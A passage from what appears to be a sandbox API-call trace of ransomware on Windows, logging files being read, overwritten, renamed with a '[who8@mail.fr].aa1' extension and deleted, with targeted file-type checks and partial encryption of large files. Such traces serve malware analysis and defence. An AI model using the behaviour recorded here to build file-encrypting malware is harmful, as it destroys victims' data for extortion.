dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0225.391] GetLastError () returned 0x0 [0225.391] ReadFile (in: hFile=0x22c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x65c96, lpOverlapped=0x0) returned 1 [0225.416] WriteFile (in: hFile=0x1f0, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x65ca0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x65ca0, lpOverlapped=0x0) returned 1 [0225.427] ReadFile (in: hFile=0x22c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.427] WriteFile (in: hFile=0x1f0, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0225.427] SetEndOfFile (hFile=0x1f0) returned 1 [0225.427] CloseHandle (hObject=0x1f0) returned 1 [0225.428] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.428] SetEndOfFile (hFile=0x22c) returned 1 [0225.431] CloseHandle (hObject=0x22c) returned 1 [0225.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0225.432] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm")) returned 1 [0225.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0225.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0225.432] lstrlenW (lpString=".doc") returned 4 [0225.432] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0225.432] lstrlenW (lpString=".docx") returned 5 [0225.432] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0225.432] lstrlenW (lpString=".pdf") returned 4 [0225.432] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0225.432] lstrlenW (lpString=".xls") returned 4 [0225.432] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0225.432] lstrlenW (lpString=".xlsx") returned 5 [0225.432] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0225.432] lstrlenW (lpString=".ppt") returned 4 [0225.432] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0225.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0225.432] lstrlenW (lpString=".zip") returned 4 [0225.432] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0225.433] lstrlenW (lpString=".rar") returned 4 [0225.433] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0225.433] lstrlenW (lpString=".bz2") returned 4 [0225.433] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0225.433] lstrlenW (lpString=".7z") returned 3 [0225.433] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0225.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0225.433] lstrlenW (lpString=".dbf") returned 4 [0225.433] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0225.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0225.433] lstrlenW (lpString=".1cd") returned 4 [0225.433] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0225.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0225.433] lstrlenW (lpString=".jpg") returned 4 [0225.433] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0225.434] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.434] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.434] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0225.434] GetLastError () returned 0x0 [0225.434] ReadFile (in: hFile=0x22c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x296a5, lpOverlapped=0x0) returned 1 [0225.633] WriteFile (in: hFile=0x1f0, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x296b0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x296b0, lpOverlapped=0x0) returned 1 [0225.637] ReadFile (in: hFile=0x22c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.637] WriteFile (in: hFile=0x1f0, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0225.637] SetEndOfFile (hFile=0x1f0) returned 1 [0225.637] CloseHandle (hObject=0x1f0) returned 1 [0225.637] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.637] SetEndOfFile (hFile=0x22c) returned 1 [0225.639] CloseHandle (hObject=0x22c) returned 1 [0225.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0225.640] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg")) returned 1 [0225.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0225.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0225.640] lstrlenW (lpString=".doc") returned 4 [0225.640] lstrcmpiW (lpString1=".doc", lpString2=".MSG") returned -1 [0225.640] lstrlenW (lpString=".docx") returned 5 [0225.640] lstrcmpiW (lpString1=".docx", lpString2="T.MSG") returned -1 [0225.640] lstrlenW (lpString=".pdf") returned 4 [0225.640] lstrcmpiW (lpString1=".pdf", lpString2=".MSG") returned 1 [0225.640] lstrlenW (lpString=".xls") returned 4 [0225.640] lstrcmpiW (lpString1=".xls", lpString2=".MSG") returned 1 [0225.641] lstrlenW (lpString=".xlsx") returned 5 [0225.641] lstrcmpiW (lpString1=".xlsx", lpString2="T.MSG") returned -1 [0225.641] lstrlenW (lpString=".ppt") returned 4 [0225.641] lstrcmpiW (lpString1=".ppt", lpString2=".MSG") returned 1 [0225.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0225.641] lstrlenW (lpString=".zip") returned 4 [0225.641] lstrcmpiW (lpString1=".zip", lpString2=".MSG") returned 1 [0225.641] lstrlenW (lpString=".rar") returned 4 [0225.641] lstrcmpiW (lpString1=".rar", lpString2=".MSG") returned 1 [0225.641] lstrlenW (lpString=".bz2") returned 4 [0225.641] lstrcmpiW (lpString1=".bz2", lpString2=".MSG") returned -1 [0225.641] lstrlenW (lpString=".7z") returned 3 [0225.641] lstrcmpiW (lpString1=".7z", lpString2="MSG") returned -1 [0225.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0225.641] lstrlenW (lpString=".dbf") returned 4 [0225.641] lstrcmpiW (lpString1=".dbf", lpString2=".MSG") returned -1 [0225.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0225.641] lstrlenW (lpString=".1cd") returned 4 [0225.641] lstrcmpiW (lpString1=".1cd", lpString2=".MSG") returned -1 [0225.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0225.641] lstrlenW (lpString=".jpg") returned 4 [0225.641] lstrcmpiW (lpString1=".jpg", lpString2=".MSG") returned -1 Thread: id = 16 os_tid = 0xbb0 [0195.033] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x38c06b0 [0195.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x38d06b8 [0195.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x540588 [0195.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x543248 [0195.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5405a0 [0195.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x3d90020 [0195.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5405b8 [0195.034] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5405b8, Size=0x20) returned 0x56fae8 [0195.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5405b8 [0195.034] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5405b8, Size=0x20) returned 0x56fac0 [0195.034] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0195.034] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0195.034] Wow64DisableWow64FsRedirection (in: OldValue=0x329ff58 | out: OldValue=0x329ff58*=0x0) returned 1 [0195.034] lstrlenW (lpString="kernel32.dll") returned 12 [0195.035] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56fae8 | out: hHeap=0x4f0000) returned 1 [0195.035] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0195.035] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56fac0 | out: hHeap=0x4f0000) returned 1 [0195.035] Sleep (dwMilliseconds=0x64) [0195.172] lstrlenW (lpString="BCD") returned 3 [0195.172] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0195.172] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0195.172] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0195.172] lstrlenW (lpString=".doc") returned 4 [0195.172] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0195.172] lstrlenW (lpString=".docx") returned 5 [0195.172] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0195.172] lstrlenW (lpString=".pdf") returned 4 [0195.172] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0195.172] lstrlenW (lpString=".xls") returned 4 [0195.172] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0195.172] lstrlenW (lpString=".xlsx") returned 5 [0195.172] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0195.172] lstrlenW (lpString=".ppt") returned 4 [0195.172] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0195.172] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0195.172] lstrlenW (lpString=".zip") returned 4 [0195.173] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0195.173] lstrlenW (lpString=".rar") returned 4 [0195.173] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0195.173] lstrlenW (lpString=".bz2") returned 4 [0195.173] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0195.173] lstrlenW (lpString=".7z") returned 3 [0195.173] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0195.173] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0195.173] lstrlenW (lpString=".dbf") returned 4 [0195.173] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0195.173] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0195.173] lstrlenW (lpString=".1cd") returned 4 [0195.173] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0195.173] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0195.173] lstrlenW (lpString=".jpg") returned 4 [0195.173] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0195.173] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0195.173] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0195.173] lstrlenW (lpString=".doc") returned 4 [0195.174] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0195.174] lstrlenW (lpString=".docx") returned 5 [0195.174] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0195.174] lstrlenW (lpString=".pdf") returned 4 [0195.174] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0195.174] lstrlenW (lpString=".xls") returned 4 [0195.174] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0195.174] lstrlenW (lpString=".xlsx") returned 5 [0195.174] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0195.174] lstrlenW (lpString=".ppt") returned 4 [0195.174] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0195.174] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0195.174] lstrlenW (lpString=".zip") returned 4 [0195.174] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0195.174] lstrlenW (lpString=".rar") returned 4 [0195.174] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0195.174] lstrlenW (lpString=".bz2") returned 4 [0195.174] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0195.174] lstrlenW (lpString=".7z") returned 3 [0195.174] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0195.175] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0195.175] lstrlenW (lpString=".dbf") returned 4 [0195.175] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0195.175] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0195.175] lstrlenW (lpString=".1cd") returned 4 [0195.175] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0195.175] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0195.175] lstrlenW (lpString=".jpg") returned 4 [0195.175] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0195.175] lstrcmpiW (lpString1=".LOG1", lpString2=".aa1") returned 1 [0195.175] lstrlenW (lpString="BCD.LOG1") returned 8 [0195.175] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0196.673] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=0) returned 1 [0196.673] CloseHandle (hObject=0x160) returned 1 [0196.674] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0196.674] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0196.674] lstrlenW (lpString=".doc") returned 4 [0196.674] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0196.674] lstrlenW (lpString=".docx") returned 5 [0196.674] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0196.674] lstrlenW (lpString=".pdf") returned 4 [0196.674] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0196.674] lstrlenW (lpString=".xls") returned 4 [0196.674] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0196.674] lstrlenW (lpString=".xlsx") returned 5 [0196.674] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0196.674] lstrlenW (lpString=".ppt") returned 4 [0196.674] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0196.674] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0196.674] lstrlenW (lpString=".zip") returned 4 [0196.674] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0196.674] lstrlenW (lpString=".rar") returned 4 [0196.674] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0196.674] lstrlenW (lpString=".bz2") returned 4 [0196.674] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0196.675] lstrlenW (lpString=".7z") returned 3 [0196.675] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0196.675] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0196.675] lstrlenW (lpString=".dbf") returned 4 [0196.675] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0196.675] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0196.675] lstrlenW (lpString=".1cd") returned 4 [0196.675] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0196.675] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0196.675] lstrlenW (lpString=".jpg") returned 4 [0196.675] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0196.675] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0196.675] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0196.675] lstrlenW (lpString=".doc") returned 4 [0196.675] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0196.675] lstrlenW (lpString=".docx") returned 5 [0196.675] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0196.675] lstrlenW (lpString=".pdf") returned 4 [0196.675] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0196.675] lstrlenW (lpString=".xls") returned 4 [0196.675] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0196.675] lstrlenW (lpString=".xlsx") returned 5 [0196.675] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0196.676] lstrlenW (lpString=".ppt") returned 4 [0196.676] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0196.676] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0196.676] lstrlenW (lpString=".zip") returned 4 [0196.676] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0196.676] lstrlenW (lpString=".rar") returned 4 [0196.676] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0196.676] lstrlenW (lpString=".bz2") returned 4 [0196.676] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0196.676] lstrlenW (lpString=".7z") returned 3 [0196.676] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0196.676] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0196.676] lstrlenW (lpString=".dbf") returned 4 [0196.676] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0196.676] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0196.676] lstrlenW (lpString=".1cd") returned 4 [0196.676] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0196.676] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0196.676] lstrlenW (lpString=".jpg") returned 4 [0196.676] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0196.676] Sleep (dwMilliseconds=0x64) [0197.681] Sleep (dwMilliseconds=0x64) [0197.799] lstrcmpiW (lpString1=".msi", lpString2=".aa1") returned 1 [0197.799] lstrlenW (lpString="PowerPointMUI.msi") returned 17 [0197.799] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0197.799] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=2503680) returned 1 [0197.799] CloseHandle (hObject=0x188) returned 1 [0197.799] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi")) returned 0x2020 [0197.799] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0197.799] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0197.800] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0197.800] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0x0) returned 1 [0197.800] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0197.800] ReadFile (in: hFile=0x188, lpBuffer=0x3d90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d90058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0198.642] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0198.642] ReadFile (in: hFile=0x188, lpBuffer=0x3dd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dd0058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0198.745] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0198.745] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0198.745] ReadFile (in: hFile=0x188, lpBuffer=0x3e10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e10058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0198.772] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.772] WriteFile (in: hFile=0x188, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xc010e, lpNumberOfBytesWritten=0x329fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fcb0*=0xc010e, lpOverlapped=0x0) returned 1 [0199.175] SetEndOfFile (hFile=0x188) returned 1 [0199.176] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f23080 [0199.178] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0199.178] WriteFile (in: hFile=0x188, lpBuffer=0x3f23080*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f23080*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0199.180] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0199.180] WriteFile (in: hFile=0x188, lpBuffer=0x3f23080*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f23080*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0199.367] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0199.367] WriteFile (in: hFile=0x188, lpBuffer=0x3f23080*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f23080*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0199.372] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f23080 | out: hHeap=0x4f0000) returned 1 [0199.393] CloseHandle (hObject=0x188) returned 1 [0199.801] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0199.802] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0199.802] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0199.802] lstrlenW (lpString=".doc") returned 4 [0199.802] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0199.802] lstrlenW (lpString=".docx") returned 5 [0199.802] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0199.802] lstrlenW (lpString=".pdf") returned 4 [0199.802] lstrcmpiW 